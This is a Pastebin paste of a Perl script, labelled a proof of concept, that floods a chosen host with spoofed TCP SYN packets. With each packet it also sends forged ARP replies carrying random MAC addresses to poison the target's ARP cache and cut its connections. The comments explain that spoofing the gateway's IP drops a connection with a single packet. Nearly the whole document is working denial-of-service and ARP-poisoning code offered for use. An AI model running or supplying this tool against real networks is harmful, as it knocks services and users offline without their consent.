Guest User

Untitled

a guest
May 1st, 2012
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.55 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # this is a proof of concept. it originally started as a syn flooder for
  3. # stress testing, now it's something a bit more elaborate. it still syn floods,
  4. # however, it also sends out spoofed arp replies from the spoofed source address
  5. # which causes the target machine to cache the spoofed IP's for a longer time, which
  6. # results in connection loss.
  7. #
  8. # another reason for connection loss is when the spoofed source IP is equal to the
  9. # ip of the gateway router, which changes the mac address. a single packet will drop
  10. # a connection. this method is your basic man in the middle/arp posioning DoS.
  11. #
  12. #
  13. # - nwo 4/16/2008
  14. ####
  15.  
  16. require 'getopts.pl';
  17.  
  18. ### need to utilize raw sockets to allow spoofing and specify source ports.
  19. use Net::RawIP;
  20. use Net::ARP;
  21. use Net::Pcap;
  22.  
  23. $dev = Net::Pcap::lookupdev(\$errbuf);
  24.  
  25. Getopts('t:p:n:');
  26.  
  27.  
  28. ### function to create random IP's.
  29. sub randip () {
  30. $oct1 = int rand(200);
  31. $oct2 = int rand(200);
  32. $oct3 = int rand(200);
  33. $oct4 = int rand(200);
  34. $ip = join('.', "10","$oct2","$oct3","$oct4");
  35. return("$ip");
  36. }
  37. ### function to spoof mac addresses. *not pretty*
  38. sub randmac () {
  39. $i1 = int rand(10);
  40. $i2 = int rand(10);
  41. $i3 = int rand(10);
  42. $rmac = join(':', $i1,$i2,$i3,$i1,$i2,$i3);
  43. return("$rmac");
  44. }
  45.  
  46. die "Usage: $0 -t -p -n \n"
  47. unless ($opt_t && $opt_p && $opt_n);
  48.  
  49. ### allow the user to specify a list of comma seperated ports via the command line.
  50. @ports = split(/\,/, $opt_p);
  51. $list = @ports;
  52.  
  53. $syn = new Net::RawIP;
  54. ### For some reason, arp_lookup doesn't always get the mac address on the first try
  55. Net::ARP::arp_lookup($dev,$opt_t,$mac);
  56. if($mac eq "Unknown") {
  57. Net::ARP::arp_lookup($dev,$opt_t,$mac);
  58. if($mac eq "Unknown") {
  59. print "Unable to lookup MAC address.\n";
  60. exit(1);
  61. }
  62. }
  63.  
  64. ### super awesome output.
  65. print "Mac found - $mac\n";
  66. print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";
  67. ### start the loop
  68. for($i = 1;$i < $opt_n;$i++) {
  69. ### randomly select a port out of the @ports array
  70. $nlist = int rand($list);
  71. $dport = $ports[$nlist];
  72. $ranip = &randip;
  73. $ranmac = &randmac;
  74. $rport = int rand(65535);
  75.  
  76. ### set up the socket..
  77. $syn->set({
  78. ip => {
  79. daddr => $opt_t,
  80. saddr => $ranip,
  81. },
  82.  
  83. ### specify the destination port and source port.. make sure the syn flag is enabled to
  84. ### drop the services. it's possible that using an icmp packet would be more effective
  85. ### because the target machine will stop receiving packets if the service goes down due
  86. ### the syn flood - that said, most everyone firewalls against icmp these days.
  87. tcp => {
  88. dest => $dport,
  89. source => $rport,
  90. ack => 0,
  91. urg => 0,
  92. rst => 0,
  93. fin => 0,
  94. psh => 0,
  95. syn => 1
  96. }
  97. });
  98. ### send the packet!
  99. $syn->send;
  100. ### now send a spoofed ARP reply from the spoofed IP so that the target machine caches the IP
  101. ### with the fake mac address so that it stores it, rather than clearing them due to invalid
  102. ### mac addresses. this also generates a lot of network traffic and congestion because of all
  103. ### of the 'who has' messages and replies - plus the tcp-syn+rst generated when the target machine
  104. ### realizes that the connection attempt is invalid.
  105. Net::ARP::send_packet($dev,
  106. $ranip,
  107. $opt_t,
  108. $ranmac,
  109. $mac,
  110. 'reply');
Advertisement
Add Comment
Please, Sign In to add comment